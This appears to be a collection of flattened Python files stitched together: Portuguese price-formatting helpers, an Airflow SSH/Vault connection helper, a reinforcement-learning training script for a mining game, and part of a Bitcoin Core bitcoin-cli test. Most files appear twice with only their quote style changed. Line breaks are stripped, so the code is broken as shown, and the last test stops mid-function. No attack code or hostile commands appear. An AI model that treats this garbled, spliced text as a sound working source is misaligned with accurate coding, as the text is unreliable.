def aumentar(num=0, taxa=10, formata=False): s = num + ((num * taxa) / 100) return s if formata is False else formatar(s) def diminuir(num=0, taxa=10, formata=False): s = num - ((num * taxa) / 100) return s if formata is False else formatar(s) def metade(num=0, formata=False): s = num / 2 return s if formata is False else formatar(s) def dobro(num=0, formata=False): s = num * 2 return s if formata is False else formatar(s) def formatar(num=0): s = f'{f'{num:.2f}'}'.replace('.', ',') return s def resumo(p, a, d): print('_' * 30) print(f"{"ESUMO DO VALOR":_^30}") print(f'''{"Preço analizado:":<20}{formatar(p):^10} {"Dobro do Preço :":<20}{f"{dobro(p, True)}":^10} {"Metade do preço:":<20}{f"{metade(p, True)}":^10} {f"{a}% de aumento :":<20}{f"{aumentar(p, a, True)}":^10} {f"{d}% de reduçao :":20}{f"{diminuir(p, d, True)}":^10}''') print('_' * 30)
def aumentar(num=0, taxa=10, formata=False): s = num + ((num * taxa) / 100) return s if formata is False else formatar(s) def diminuir(num=0, taxa=10, formata=False): s = num - ((num * taxa) / 100) return s if formata is False else formatar(s) def metade(num=0, formata=False): s = num / 2 return s if formata is False else formatar(s) def dobro(num=0, formata=False): s = num * 2 return s if formata is False else formatar(s) def formatar(num=0): s = f'{f"{num:.2f}"}'.replace('.', ',') return s def resumo(p, a, d): print('_' * 30) print(f"{'ESUMO DO VALOR':_^30}") print(f'''{"Preço analizado:":<20}{formatar(p):^10} {"Dobro do Preço :":<20}{f"{dobro(p, True)}":^10} {"Metade do preço:":<20}{f"{metade(p, True)}":^10} {f"{a}% de aumento :":<20}{f"{aumentar(p, a, True)}":^10} {f"{d}% de reduçao :":20}{f"{diminuir(p, d, True)}":^10}''') print('_' * 30)
from airflow import settings from airflow.providers.ssh.hooks.ssh import SSHHook from airflow.models.connection import Connection from airflow.providers.hashicorp.hooks.vault import VaultHook def create_temp_connection(rrid, params): host = params.get('host') port = params.get('port', 2222) user = params.get('login', 'eflows') key = params.get('key') conn_id = f"tmp_connection_{rrid}" extra = {"private_key": key} conn = Connection( conn_id=conn_id, conn_type='ssh', description='Automatically generated Connection', host=host, login=user, port=port, extra=extra ) session = settings.Session() session.add(conn) session.commit() print(f"Connection {conn_id} created") return conn_id def get_connection(conn_id, **kwargs): if conn_id.startswith('vault'): vault_hook = VaultHook(vault_conn_id='my_vault') con = vault_hook.get_secret( secret_path=f"/ssh-credentials/{conn_id[6:]}") print(f"Got some values from vault {list(con.keys())}") # for now SSH is hardcoded params = kwargs['params'] host = params.get('host') port = int(params.get('port', 22)) user = params.get('login', 'eflows') hook = SSHHook(remote_host=host, port=port, username=user) # key in vault should be in form of formated string: # -----BEGIN OPENSSH PRIVATE KEY----- # b3BlbnNzaC1rZXktdjEAAAAA # .... hook.pkey = hook._pkey_from_private_key(private_key=con['privateKey']) return hook # otherwise use previously created temp connection return SSHHook(ssh_conn_id=conn_id) def setup(**kwargs): params = kwargs['params'] print("Setting up the connection") if 'vault_id' in params: print('Retrieving connection details from vault') return f"vault_{params["vault_id"]}" # otherwise use creds provided in request return create_temp_connection(rrid=kwargs['run_id'], params=params) def remove(conn_id): if conn_id.startswith('vault'): return print(f"Removing conneciton {conn_id}") session = settings.Session() for con in session.query(Connection).all(): print(con) session.query(Connection).filter(Connection.conn_id == conn_id).delete() session.commit() def get_conn_id(**kwargs): ti = kwargs['ti'] conn_id = ti.xcom_pull(key='return_value', task_ids='setup_connection') return conn_id
from airflow import settings from airflow.providers.ssh.hooks.ssh import SSHHook from airflow.models.connection import Connection from airflow.providers.hashicorp.hooks.vault import VaultHook def create_temp_connection(rrid, params): host = params.get('host') port = params.get('port', 2222) user = params.get('login', 'eflows') key = params.get('key') conn_id = f"tmp_connection_{rrid}" extra = {"private_key": key} conn = Connection( conn_id=conn_id, conn_type='ssh', description='Automatically generated Connection', host=host, login=user, port=port, extra=extra ) session = settings.Session() session.add(conn) session.commit() print(f"Connection {conn_id} created") return conn_id def get_connection(conn_id, **kwargs): if conn_id.startswith('vault'): vault_hook = VaultHook(vault_conn_id='my_vault') con = vault_hook.get_secret( secret_path=f"/ssh-credentials/{conn_id[6:]}") print(f"Got some values from vault {list(con.keys())}") # for now SSH is hardcoded params = kwargs['params'] host = params.get('host') port = int(params.get('port', 22)) user = params.get('login', 'eflows') hook = SSHHook(remote_host=host, port=port, username=user) # key in vault should be in form of formated string: # -----BEGIN OPENSSH PRIVATE KEY----- # b3BlbnNzaC1rZXktdjEAAAAA # .... hook.pkey = hook._pkey_from_private_key(private_key=con['privateKey']) return hook # otherwise use previously created temp connection return SSHHook(ssh_conn_id=conn_id) def setup(**kwargs): params = kwargs['params'] print("Setting up the connection") if 'vault_id' in params: print('Retrieving connection details from vault') return f"vault_{params['vault_id']}" # otherwise use creds provided in request return create_temp_connection(rrid=kwargs['run_id'], params=params) def remove(conn_id): if conn_id.startswith('vault'): return print(f"Removing conneciton {conn_id}") session = settings.Session() for con in session.query(Connection).all(): print(con) session.query(Connection).filter(Connection.conn_id == conn_id).delete() session.commit() def get_conn_id(**kwargs): ti = kwargs['ti'] conn_id = ti.xcom_pull(key='return_value', task_ids='setup_connection') return conn_id
######################################## # Changes compared to 20_5channel.py # 01. # CNN structure ######################################## import cv2 import matplotlib.pyplot as plt import sys import numpy as np #import pandas as pd import datetime import json from array import * import os import math from random import randrange import random from tensorflow.keras.models import Sequential from tensorflow.keras.models import model_from_json from tensorflow.keras.layers import Dense, Activation from tensorflow.keras import optimizers import tensorflow.keras as keras #import tensorflow.compat.v1 as tf #from tensorflow.compat.v1.keras import backend as K #tf.disable_v2_behavior() import tensorflow as tf from tensorflow.keras import backend as K import logging #logging.basicConfig(level=logging.DEBUG) #logging.basicConfig(level=logging.INFO) logging.basicConfig(filename=__file__.replace(".py", ".log"), level=logging.DEBUG) import os import sys sys.path.append(os.path.abspath(os.path.pardir)) import constants02 import non_RL_agent import non_RL_agent02 import non_RL_agent03 import non_RL_agent04 import non_RL_agent05 import non_RL_agent06 from miner_env import MinerEnv seed = 30420 n_episodes = 500_000 #n_epsilon_decay = int(n_episodes*.6) n_epsilon_decay = int(n_episodes*.805) #n_epsilon_decay = 10**6 / 0.99 #n_epsilon_decay = int(n_episodes // 50) n_episodes_buf_fill = 5_000 batch_size = 32 discount_rate = 0.95 #lr_optimizer = 2.5e-4 lr_optimizer = 7.3e-4 #loss_fn = keras.losses.mean_squared_error loss_fn = keras.losses.Huber() max_replay_len = 50_000 Maps = [constants02.maps[i] for i in range(1, 6)] env = MinerEnv() # Creating a communication environment between the DQN model and the game environment env.start() # Connect to the game from tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Flatten tf.random.set_seed(seed) np.random.seed(seed) input_shape = [constants02.height, constants02.width, 1+4] #input_shape = [constants02.height, constants02.width, 1+1] n_outputs = 6 model = keras.models.Sequential([ Conv2D(5, 3, activation="relu", padding="same", input_shape=input_shape), #MaxPooling2D(2), Conv2D(5, 3, activation="relu", padding="same"), Conv2D(5, 3, activation="relu", padding="same"), #Conv2D(128, 3, activation="relu", padding="same"), #MaxPooling2D(2), Flatten(), #Dense(128, activation="elu"), Dense(32, activation="elu"), Dense(32, activation="elu"), Dense(32, activation="elu"), Dense(n_outputs) ]) #h5 = "models/30_11_dDQN_light_tweak14/avg-1785.00-episode-11155-30_11_dDQN_light_tweak14-gold-1800-step-100-20200827-0903.h5" #model = keras.models.load_model(h5) target = keras.models.clone_model(model) target.set_weights(model.get_weights()) from collections import deque replay_memory = deque(maxlen=max_replay_len) def sample_experiences(batch_size): indices = np.random.randint(len(replay_memory), size=batch_size) batch = [replay_memory[index] for index in indices] states, actions, rewards, next_states, dones = [ np.array([experience[field_index] for experience in batch]) for field_index in range(5)] return states, actions, rewards, next_states, dones def epsilon_greedy_policy(state, epsilon=0, n_actions=6): if np.random.rand() < epsilon: return np.random.randint(n_actions) else: #pictorial = pictorial_state(state) #Q_values = model.predict(pictorial[np.newaxis]) Q_values = model.predict(state[np.newaxis]) return np.argmax(Q_values[0]) def play_one_step(env, state, epsilon): action = epsilon_greedy_policy(state, epsilon) #logging.debug(f"pos=({env.state.x:2d},{env.state.y:2d}), terrain={state[...,0][env.state.y, env.state.x]}, action={constants02.action_id2str[action]}, energy={env.state.energy}, score={env.state.score}") #next_state, reward, done, info = env.step(action) env.step(str(action)) #next_state = env.get_9x21x2_state() next_state = env.get_view_9x21x5() reward = env.get_reward_6act_21() done = env.check_terminate() replay_memory.append((state, action, reward, next_state, done)) try: logging.debug(f"pos=({env.state.x:2d},{env.state.y:2d}), terrain={next_state[...,0][env.state.y, env.state.x]:4.1f}, lastAction={constants02.action_id2str[action]:>5}, energy={env.state.energy}, score={env.state.score}, reward={reward:.1f}") except IndexError: logging.debug(f"pos=({env.state.x:2d},{env.state.y:2d}), lastAction={constants02.action_id2str[action]:>5}, energy={env.state.energy}, score={env.state.score}, reward={reward:.1f}") #next_state, reward, done, info = env.step(action) return next_state, reward, done #optimizer = keras.optimizers.Adam(lr=1e-3) #optimizer = keras.optimizers.Adam(lr=2.5e-4) optimizer = keras.optimizers.Adam(lr=lr_optimizer) def training_step(batch_size): experiences = sample_experiences(batch_size) states, actions, rewards, next_states, dones = experiences #pictorials = np.array([pictorial_state(s) for s in states]) #next_pictorials = np.array([pictorial_state(next_s) for next_s in next_states]) #next_Q_values = model.predict(next_pictorials) next_Q_values = model.predict(next_states) #max_next_Q_values = np.max(next_Q_values, axis=1) best_next_actions = np.argmax(next_Q_values, axis=1) next_mask = tf.one_hot(best_next_actions, n_outputs).numpy() next_best_Q_values = (target.predict(next_states) * next_mask).sum(axis=1) #target_Q_values = rewards + (1 - dones) * discount_rate * max_next_Q_values target_Q_values = rewards + (1 - dones) * discount_rate * next_best_Q_values target_Q_values = target_Q_values.reshape(-1, 1) mask = tf.one_hot(actions, n_outputs) with tf.GradientTape() as tape: #all_Q_values = model(pictorials) all_Q_values = model(states) Q_values = tf.reduce_sum(all_Q_values * mask, axis=1, keepdims=True) loss = tf.reduce_mean(loss_fn(target_Q_values, Q_values)) grads = tape.gradient(loss, model.trainable_variables) optimizer.apply_gradients(zip(grads, model.trainable_variables)) #np.random.seed(42) #tf.random.set_seed(42) from constants02 import n_allowed_steps now = datetime.datetime.now() now_str = now.strftime("%Y%m%d-%H%M") script_name = __file__.split('.')[0] save_path = os.path.join("models", script_name) os.makedirs(save_path, exist_ok=True) scores = [] scores_avg = [] best_score = 0 k = 10 scores_k_most_recent = deque([0]*k, maxlen=k) best_score_avg = 1400 with open(os.path.join(save_path, f"log-{now_str}.txt"), 'w') as log: for episode in range(n_episodes): #mapID = np.random.randint(0, 5) mapID = np.random.randint(1,6) posID_x = np.random.randint(constants02.width) posID_y = np.random.randint(constants02.height) request = "map{},{},{},50,100".format(mapID, posID_x, posID_y) env.send_map_info(request) env.reset() #obs = env.get_9x21x2_state() obs = env.get_view_9x21x5() delimiter = "===================================================" logging.debug(f"\n{delimiter}\nmapID {mapID}, start (x,y) = ({posID_x}, {posID_y}) on terrain {obs[...,0][posID_y, posID_x]} \n{delimiter}") undiscounted_return = 0 for step in range(n_allowed_steps): logging.debug(f"(step {step:3d})") logging.debug(f"obs[...,0] =\n{obs[...,0]}") #plt.imsave(f"corbeille/map-{mapID}-step-{step:03d}.png", obs[...,0], cmap="gray") #plt.imsave(f"corbeille/map-{mapID}-step-{step:03d}.png", cv2.resize(obs[...,0], (210, 90)), cmap="gray") epsilon = max(1 - episode / n_epsilon_decay, 0.01) obs, reward, done = play_one_step(env, obs, epsilon) undiscounted_return += reward if done: break score = env.state.score scores.append(score) scores_k_most_recent.append(score) #score_avg = np.mean(scores_k_most_recent) score_avg = round(np.mean(scores_k_most_recent), 1) scores_avg.append(score_avg) #if score > best_score: if score_avg > best_score_avg: #best_weights = model.get_weights() #best_score_avg = score_avg best_score_avg = min(1800, best_score_avg + 50) #best_score = score #model.save(os.path.join(save_path, f"episode-{episode+1}-gold-{env.state.score}-avg-{score_avg:4.2f}-step-{step+1}-{now_str}.h5")) model.save(os.path.join(save_path, f"avg-{score_avg:07.2f}-episode-{episode+1}-{__file__.split(".")[0]}-gold-{env.state.score}-step-{step+1}-{now_str}.h5")) #message = "(Episode {: 5d}/{}) Gold {: 4d} avg {: 8.1f} undisc_return {: 6d} step {: 3d} eps: {:.2f} ({})\n".format(episode+1, n_episodes, env.state.score, score_avg, undiscounted_return, step + 1, epsilon, constants02.agent_state_id2str[env.state.status]) message = "(Episode {:6d}/{}) Gold {:4d} avg {:5.0f} undisc_return {:8.0f} step {:3d} eps: {:.2f} (map {}: {})\n".format(episode+1, n_episodes, env.state.score, score_avg, undiscounted_return, step + 1, epsilon, mapID, constants02.agent_state_id2str[env.state.status]) print(message, end='') log.write(message) #if episode > 500: if episode > n_episodes_buf_fill: training_step(batch_size) if episode % n_episodes_buf_fill == 0: target.set_weights(model.get_weights()) #np.save(f"scores-{now_str}", np.array(scores)) #np.save(f"scores-N-scores_avg-{now_str}", np.array([scores, scores_avg])) np.save(f"scores-N-scores_avg-{__file__.split(".")[0]}-{now_str}", np.array([scores, scores_avg]))
######################################## # Changes compared to 20_5channel.py # 01. # CNN structure ######################################## import cv2 import matplotlib.pyplot as plt import sys import numpy as np #import pandas as pd import datetime import json from array import * import os import math from random import randrange import random from tensorflow.keras.models import Sequential from tensorflow.keras.models import model_from_json from tensorflow.keras.layers import Dense, Activation from tensorflow.keras import optimizers import tensorflow.keras as keras #import tensorflow.compat.v1 as tf #from tensorflow.compat.v1.keras import backend as K #tf.disable_v2_behavior() import tensorflow as tf from tensorflow.keras import backend as K import logging #logging.basicConfig(level=logging.DEBUG) #logging.basicConfig(level=logging.INFO) logging.basicConfig(filename=__file__.replace(".py", ".log"), level=logging.DEBUG) import os import sys sys.path.append(os.path.abspath(os.path.pardir)) import constants02 import non_RL_agent import non_RL_agent02 import non_RL_agent03 import non_RL_agent04 import non_RL_agent05 import non_RL_agent06 from miner_env import MinerEnv seed = 30420 n_episodes = 500_000 #n_epsilon_decay = int(n_episodes*.6) n_epsilon_decay = int(n_episodes*.805) #n_epsilon_decay = 10**6 / 0.99 #n_epsilon_decay = int(n_episodes // 50) n_episodes_buf_fill = 5_000 batch_size = 32 discount_rate = 0.95 #lr_optimizer = 2.5e-4 lr_optimizer = 7.3e-4 #loss_fn = keras.losses.mean_squared_error loss_fn = keras.losses.Huber() max_replay_len = 50_000 Maps = [constants02.maps[i] for i in range(1, 6)] env = MinerEnv() # Creating a communication environment between the DQN model and the game environment env.start() # Connect to the game from tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Flatten tf.random.set_seed(seed) np.random.seed(seed) input_shape = [constants02.height, constants02.width, 1+4] #input_shape = [constants02.height, constants02.width, 1+1] n_outputs = 6 model = keras.models.Sequential([ Conv2D(5, 3, activation="relu", padding="same", input_shape=input_shape), #MaxPooling2D(2), Conv2D(5, 3, activation="relu", padding="same"), Conv2D(5, 3, activation="relu", padding="same"), #Conv2D(128, 3, activation="relu", padding="same"), #MaxPooling2D(2), Flatten(), #Dense(128, activation="elu"), Dense(32, activation="elu"), Dense(32, activation="elu"), Dense(32, activation="elu"), Dense(n_outputs) ]) #h5 = "models/30_11_dDQN_light_tweak14/avg-1785.00-episode-11155-30_11_dDQN_light_tweak14-gold-1800-step-100-20200827-0903.h5" #model = keras.models.load_model(h5) target = keras.models.clone_model(model) target.set_weights(model.get_weights()) from collections import deque replay_memory = deque(maxlen=max_replay_len) def sample_experiences(batch_size): indices = np.random.randint(len(replay_memory), size=batch_size) batch = [replay_memory[index] for index in indices] states, actions, rewards, next_states, dones = [ np.array([experience[field_index] for experience in batch]) for field_index in range(5)] return states, actions, rewards, next_states, dones def epsilon_greedy_policy(state, epsilon=0, n_actions=6): if np.random.rand() < epsilon: return np.random.randint(n_actions) else: #pictorial = pictorial_state(state) #Q_values = model.predict(pictorial[np.newaxis]) Q_values = model.predict(state[np.newaxis]) return np.argmax(Q_values[0]) def play_one_step(env, state, epsilon): action = epsilon_greedy_policy(state, epsilon) #logging.debug(f"pos=({env.state.x:2d},{env.state.y:2d}), terrain={state[...,0][env.state.y, env.state.x]}, action={constants02.action_id2str[action]}, energy={env.state.energy}, score={env.state.score}") #next_state, reward, done, info = env.step(action) env.step(str(action)) #next_state = env.get_9x21x2_state() next_state = env.get_view_9x21x5() reward = env.get_reward_6act_21() done = env.check_terminate() replay_memory.append((state, action, reward, next_state, done)) try: logging.debug(f"pos=({env.state.x:2d},{env.state.y:2d}), terrain={next_state[...,0][env.state.y, env.state.x]:4.1f}, lastAction={constants02.action_id2str[action]:>5}, energy={env.state.energy}, score={env.state.score}, reward={reward:.1f}") except IndexError: logging.debug(f"pos=({env.state.x:2d},{env.state.y:2d}), lastAction={constants02.action_id2str[action]:>5}, energy={env.state.energy}, score={env.state.score}, reward={reward:.1f}") #next_state, reward, done, info = env.step(action) return next_state, reward, done #optimizer = keras.optimizers.Adam(lr=1e-3) #optimizer = keras.optimizers.Adam(lr=2.5e-4) optimizer = keras.optimizers.Adam(lr=lr_optimizer) def training_step(batch_size): experiences = sample_experiences(batch_size) states, actions, rewards, next_states, dones = experiences #pictorials = np.array([pictorial_state(s) for s in states]) #next_pictorials = np.array([pictorial_state(next_s) for next_s in next_states]) #next_Q_values = model.predict(next_pictorials) next_Q_values = model.predict(next_states) #max_next_Q_values = np.max(next_Q_values, axis=1) best_next_actions = np.argmax(next_Q_values, axis=1) next_mask = tf.one_hot(best_next_actions, n_outputs).numpy() next_best_Q_values = (target.predict(next_states) * next_mask).sum(axis=1) #target_Q_values = rewards + (1 - dones) * discount_rate * max_next_Q_values target_Q_values = rewards + (1 - dones) * discount_rate * next_best_Q_values target_Q_values = target_Q_values.reshape(-1, 1) mask = tf.one_hot(actions, n_outputs) with tf.GradientTape() as tape: #all_Q_values = model(pictorials) all_Q_values = model(states) Q_values = tf.reduce_sum(all_Q_values * mask, axis=1, keepdims=True) loss = tf.reduce_mean(loss_fn(target_Q_values, Q_values)) grads = tape.gradient(loss, model.trainable_variables) optimizer.apply_gradients(zip(grads, model.trainable_variables)) #np.random.seed(42) #tf.random.set_seed(42) from constants02 import n_allowed_steps now = datetime.datetime.now() now_str = now.strftime("%Y%m%d-%H%M") script_name = __file__.split('.')[0] save_path = os.path.join("models", script_name) os.makedirs(save_path, exist_ok=True) scores = [] scores_avg = [] best_score = 0 k = 10 scores_k_most_recent = deque([0]*k, maxlen=k) best_score_avg = 1400 with open(os.path.join(save_path, f"log-{now_str}.txt"), 'w') as log: for episode in range(n_episodes): #mapID = np.random.randint(0, 5) mapID = np.random.randint(1,6) posID_x = np.random.randint(constants02.width) posID_y = np.random.randint(constants02.height) request = "map{},{},{},50,100".format(mapID, posID_x, posID_y) env.send_map_info(request) env.reset() #obs = env.get_9x21x2_state() obs = env.get_view_9x21x5() delimiter = "===================================================" logging.debug(f"\n{delimiter}\nmapID {mapID}, start (x,y) = ({posID_x}, {posID_y}) on terrain {obs[...,0][posID_y, posID_x]} \n{delimiter}") undiscounted_return = 0 for step in range(n_allowed_steps): logging.debug(f"(step {step:3d})") logging.debug(f"obs[...,0] =\n{obs[...,0]}") #plt.imsave(f"corbeille/map-{mapID}-step-{step:03d}.png", obs[...,0], cmap="gray") #plt.imsave(f"corbeille/map-{mapID}-step-{step:03d}.png", cv2.resize(obs[...,0], (210, 90)), cmap="gray") epsilon = max(1 - episode / n_epsilon_decay, 0.01) obs, reward, done = play_one_step(env, obs, epsilon) undiscounted_return += reward if done: break score = env.state.score scores.append(score) scores_k_most_recent.append(score) #score_avg = np.mean(scores_k_most_recent) score_avg = round(np.mean(scores_k_most_recent), 1) scores_avg.append(score_avg) #if score > best_score: if score_avg > best_score_avg: #best_weights = model.get_weights() #best_score_avg = score_avg best_score_avg = min(1800, best_score_avg + 50) #best_score = score #model.save(os.path.join(save_path, f"episode-{episode+1}-gold-{env.state.score}-avg-{score_avg:4.2f}-step-{step+1}-{now_str}.h5")) model.save(os.path.join(save_path, f"avg-{score_avg:07.2f}-episode-{episode+1}-{__file__.split('.')[0]}-gold-{env.state.score}-step-{step+1}-{now_str}.h5")) #message = "(Episode {: 5d}/{}) Gold {: 4d} avg {: 8.1f} undisc_return {: 6d} step {: 3d} eps: {:.2f} ({})\n".format(episode+1, n_episodes, env.state.score, score_avg, undiscounted_return, step + 1, epsilon, constants02.agent_state_id2str[env.state.status]) message = "(Episode {:6d}/{}) Gold {:4d} avg {:5.0f} undisc_return {:8.0f} step {:3d} eps: {:.2f} (map {}: {})\n".format(episode+1, n_episodes, env.state.score, score_avg, undiscounted_return, step + 1, epsilon, mapID, constants02.agent_state_id2str[env.state.status]) print(message, end='') log.write(message) #if episode > 500: if episode > n_episodes_buf_fill: training_step(batch_size) if episode % n_episodes_buf_fill == 0: target.set_weights(model.get_weights()) #np.save(f"scores-{now_str}", np.array(scores)) #np.save(f"scores-N-scores_avg-{now_str}", np.array([scores, scores_avg])) np.save(f"scores-N-scores_avg-{__file__.split('.')[0]}-{now_str}", np.array([scores, scores_avg]))
#!/usr/bin/env python3 # Copyright (c) 2017-2021 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test bitcoin-cli""" from decimal import Decimal import re from test_framework.blocktools import COINBASE_MATURITY from test_framework.test_framework import BitcoinTestFramework from test_framework.util import ( assert_equal, assert_greater_than_or_equal, assert_raises_process_error, assert_raises_rpc_error, get_auth_cookie, ) import time # The block reward of coinbaseoutput.nValue (50) BTC/block matures after # COINBASE_MATURITY (100) blocks. Therefore, after mining 101 blocks we expect # node 0 to have a balance of (BLOCKS - COINBASE_MATURITY) * 50 BTC/block. BLOCKS = COINBASE_MATURITY + 1 BALANCE = (BLOCKS - 100) * 50 JSON_PARSING_ERROR = 'error: Error parsing JSON: foo' BLOCKS_VALUE_OF_ZERO = 'error: the first argument (number of blocks to generate, default: 1) must be an integer value greater than zero' TOO_MANY_ARGS = 'error: too many arguments (maximum 2 for nblocks and maxtries)' WALLET_NOT_LOADED = 'Requested wallet does not exist or is not loaded' WALLET_NOT_SPECIFIED = 'Wallet file not specified' def cli_get_info_string_to_dict(cli_get_info_string): """Helper method to convert human-readable -getinfo into a dictionary""" cli_get_info = {} lines = cli_get_info_string.splitlines() line_idx = 0 ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -\/]*[@-~]') while line_idx < len(lines): # Remove ansi colour code line = ansi_escape.sub('', lines[line_idx]) if "Balances" in line: # When "Balances" appears in a line, all of the following lines contain "balance: wallet" until an empty line cli_get_info["Balances"] = {} while line_idx < len(lines) and not (lines[line_idx + 1] == ''): line_idx += 1 balance, wallet = lines[line_idx].strip().split(" ") # Remove right justification padding wallet = wallet.strip() if wallet == '""': # Set default wallet("") to empty string wallet = '' cli_get_info["Balances"][wallet] = balance.strip() elif ": " in line: key, value = line.split(": ") if key == 'Wallet' and value == '""': # Set default wallet("") to empty string value = '' if key == "Proxies" and value == "n/a": # Set N/A to empty string to represent no proxy value = '' cli_get_info[key.strip()] = value.strip() line_idx += 1 return cli_get_info class TestBitcoinCli(BitcoinTestFramework): def is_specified_wallet_compiled(self): if self.options.descriptors: return self.is_sqlite_compiled() else: return self.is_bdb_compiled() def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 if self.is_specified_wallet_compiled(): self.requires_wallet = True def skip_test_if_missing_module(self): self.skip_if_no_cli() def run_test(self): """Main test logic""" self.generate(self.nodes[0], BLOCKS) self.log.info("Compare responses from getblockchaininfo RPC and `bitcoin-cli getblockchaininfo`") cli_response = self.nodes[0].cli.getblockchaininfo() rpc_response = self.nodes[0].getblockchaininfo() assert_equal(cli_response, rpc_response) user, password = get_auth_cookie(self.nodes[0].datadir, self.chain) self.log.info("Test -stdinrpcpass option") assert_equal(BLOCKS, self.nodes[0].cli(f'-rpcuser={user}', '-stdinrpcpass', input=password).getblockcount()) assert_raises_process_error(1, 'Incorrect rpcuser or rpcpassword', self.nodes[0].cli(f'-rpcuser={user}', '-stdinrpcpass', input='foo').echo) self.log.info("Test -stdin and -stdinrpcpass") assert_equal(['foo', 'bar'], self.nodes[0].cli(f'-rpcuser={user}', '-stdin', '-stdinrpcpass', input=f'{password}\nfoo\nbar').echo()) assert_raises_process_error(1, 'Incorrect rpcuser or rpcpassword', self.nodes[0].cli(f'-rpcuser={user}', '-stdin', '-stdinrpcpass', input='foo').echo) self.log.info("Test connecting to a non-existing server") assert_raises_process_error(1, "Could not connect to the server", self.nodes[0].cli('-rpcport=1').echo) self.log.info("Test connecting with non-existing RPC cookie file") assert_raises_process_error(1, "Could not locate RPC credentials", self.nodes[0].cli('-rpccookiefile=does-not-exist', '-rpcpassword=').echo) self.log.info("Test -getinfo with arguments fails") assert_raises_process_error(1, "-getinfo takes no arguments", self.nodes[0].cli('-getinfo').help) self.log.info("Test -getinfo with -color=never does not return ANSI escape codes") assert "\u001b[0m" not in self.nodes[0].cli('-getinfo', '-color=never').send_cli() self.log.info("Test -getinfo with -color=always returns ANSI escape codes") assert "\u001b[0m" in self.nodes[0].cli('-getinfo', '-color=always').send_cli() self.log.info("Test -getinfo with invalid value for -color option") assert_raises_process_error(1, "Invalid value for -color option. Valid values: always, auto, never.", self.nodes[0].cli('-getinfo', '-color=foo').send_cli) self.log.info("Test -getinfo returns expected network and blockchain info") if self.is_specified_wallet_compiled(): self.nodes[0].encryptwallet(password) cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) network_info = self.nodes[0].getnetworkinfo() blockchain_info = self.nodes[0].getblockchaininfo() assert_equal(int(cli_get_info['Version']), network_info['version']) assert_equal(cli_get_info['Verification progress'], "%.4f%%" % (blockchain_info['verificationprogress'] * 100)) assert_equal(int(cli_get_info['Blocks']), blockchain_info['blocks']) assert_equal(int(cli_get_info['Headers']), blockchain_info['headers']) assert_equal(int(cli_get_info['Time offset (s)']), network_info['timeoffset']) expected_network_info = f"in {network_info["connections_in"]}, out {network_info["connections_out"]}, total {network_info["connections"]}" assert_equal(cli_get_info["Network"], expected_network_info) assert_equal(cli_get_info['Proxies'], network_info['networks'][0]['proxy']) assert_equal(Decimal(cli_get_info['Difficulty']), blockchain_info['difficulty']) assert_equal(cli_get_info['Chain'], blockchain_info['chain']) self.log.info("Test -getinfo and bitcoin-cli return all proxies") self.restart_node(0, extra_args=["-proxy=127.0.0.1:9050", "-i2psam=127.0.0.1:7656"]) network_info = self.nodes[0].getnetworkinfo() cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert_equal(cli_get_info["Proxies"], "127.0.0.1:9050 (ipv4, ipv6, onion, cjdns), 127.0.0.1:7656 (i2p)") if self.is_specified_wallet_compiled(): self.log.info("Test -getinfo and bitcoin-cli getwalletinfo return expected wallet info") # Explicitely set the output type in order to have constintent tx vsize / fees # for both legacy and descriptor wallets (disables the change address type detection algorithm) self.restart_node(0, extra_args=["-addresstype=bech32", "-changetype=bech32"]) assert_equal(Decimal(cli_get_info['Balance']), BALANCE) assert 'Balances' not in cli_get_info_string wallet_info = self.nodes[0].getwalletinfo() assert_equal(int(cli_get_info['Keypool size']), wallet_info['keypoolsize']) assert_equal(int(cli_get_info['Unlocked until']), wallet_info['unlocked_until']) assert_equal(Decimal(cli_get_info['Transaction fee rate (-paytxfee) (BTC/kvB)']), wallet_info['paytxfee']) assert_equal(Decimal(cli_get_info['Min tx relay fee rate (BTC/kvB)']), network_info['relayfee']) assert_equal(self.nodes[0].cli.getwalletinfo(), wallet_info) # Setup to test -getinfo, -generate, and -rpcwallet= with multiple wallets. wallets = [self.default_wallet_name, 'Encrypted', 'secret'] amounts = [BALANCE + Decimal('9.999928'), Decimal(9), Decimal(31)] self.nodes[0].createwallet(wallet_name=wallets[1]) self.nodes[0].createwallet(wallet_name=wallets[2]) w1 = self.nodes[0].get_wallet_rpc(wallets[0]) w2 = self.nodes[0].get_wallet_rpc(wallets[1]) w3 = self.nodes[0].get_wallet_rpc(wallets[2]) rpcwallet2 = f'-rpcwallet={wallets[1]}' rpcwallet3 = f'-rpcwallet={wallets[2]}' w1.walletpassphrase(password, self.rpc_timeout) w2.encryptwallet(password) w1.sendtoaddress(w2.getnewaddress(), amounts[1]) w1.sendtoaddress(w3.getnewaddress(), amounts[2]) # Mine a block to confirm; adds a block reward (50 BTC) to the default wallet. self.generate(self.nodes[0], 1) self.log.info("Test -getinfo with multiple wallets and -rpcwallet returns specified wallet balance") for i in range(len(wallets)): cli_get_info_string = self.nodes[0].cli('-getinfo', f'-rpcwallet={wallets[i]}').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balances' not in cli_get_info_string assert_equal(cli_get_info["Wallet"], wallets[i]) assert_equal(Decimal(cli_get_info['Balance']), amounts[i]) self.log.info("Test -getinfo with multiple wallets and -rpcwallet=non-existing-wallet returns no balances") cli_get_info_string = self.nodes[0].cli('-getinfo', '-rpcwallet=does-not-exist').send_cli() assert 'Balance' not in cli_get_info_string assert 'Balances' not in cli_get_info_string self.log.info("Test -getinfo with multiple wallets returns all loaded wallet names and balances") assert_equal(set(self.nodes[0].listwallets()), set(wallets)) cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balance' not in cli_get_info for k, v in zip(wallets, amounts): assert_equal(Decimal(cli_get_info['Balances'][k]), v) # Unload the default wallet and re-verify. self.nodes[0].unloadwallet(wallets[0]) assert wallets[0] not in self.nodes[0].listwallets() cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balance' not in cli_get_info 